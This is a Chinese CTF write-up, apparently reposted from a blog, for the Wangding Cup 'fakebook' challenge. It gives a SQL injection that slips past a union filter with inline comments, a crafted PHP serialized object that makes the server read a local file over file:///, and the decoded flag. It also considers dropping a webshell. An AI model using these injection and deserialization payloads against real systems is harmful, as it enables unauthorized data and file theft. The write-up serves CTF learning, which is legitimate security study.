• 网鼎杯SQLI+反序列化读取文件题解


    先注册一个账号,然后发现http://ede1e494b5d64ab8adc945efde6138b168f86c65a30e4a4f.game.ichunqiu.com/view.php?no=1存在注入

    联合查询中union会被拦截,于是用注释符绕过 http://ede1e494b5d64ab8adc945efde6138b168f86c65a30e4a4f.game.ichunqiu.com/view.php?no=22 union/*!*/ select 1,2,3,4%23并且在报错中发现返回字段要进行反序列化

    并且请求网页进行了base64编码输出,所以判断后端php用了file_get_contents函数,但是在join.php对博客地址做了限制,不可以用file://域

    于是想到两个思路

    1.直接导出一个shell,因为在报错的时候得到了绝对路径(需要写入权限)

    2.通过反序列化,请求本地文件获得flag(需要序列化后的字符串)

    经过测试发现方法1的权限不够,于是开始查询表的内容

    union select 1,2,3,4中,其中2这个点是可以直接输出的,是用户名,于是在这个点直接注入,先找出数据库、表、字段名等信息(可以参考从零开始写安全脚本系列)

    得到数据库名  fakebook

    得到表名 users

    字段名 no,username,data

    于是想到在join.php文件的注册中我是输入了密码年龄和博客地址的,分别为passwd,age,blog。推测这三个数据序列化后存放于data中

    构造注出一行data用来构造反序列化

     通过如上注出的data,构造一下语句访问本地文件

     O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:17:"file:/// var/www/ html/flag.php";} 
     
     
    最后直接请求
     http://ede1e494b5d64ab8adc945efde6138b168f86c65a30e4a4f.game.ichunqiu.com/view.php?no=22%20union/**/%20select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:11;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%20from%20fakebook.users%20limit%201%23 
     
    PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tkMmIyODgxYy0wMmQ3LTQxN2YtYWI4Ny02OTBlZTJiOWEwNjV9IjsNCmV4aXQoMCk7DQo=
     
    ->base64decode->

    <?php

    $flag = "flag{d2b2881c-02d7-417f-ab87-690ee2b9a065}";
    exit(0);

     
  • 相关阅读:
    正则表达式学习1
    SELECT INTO 和 INSERT INTO SELECT 两种表复制语句
    (转)DBUS基础知识
    WakeLock的使用
    观察者模式
    Notification的使用
    Head First 设计模式之入门
    (转)Android WebView总结
    书架也是一根筋
    PendingIntent分析
  • 原文地址:https://www.cnblogs.com/xsseng/p/9507244.html
Copyright © 2020-2023  润新知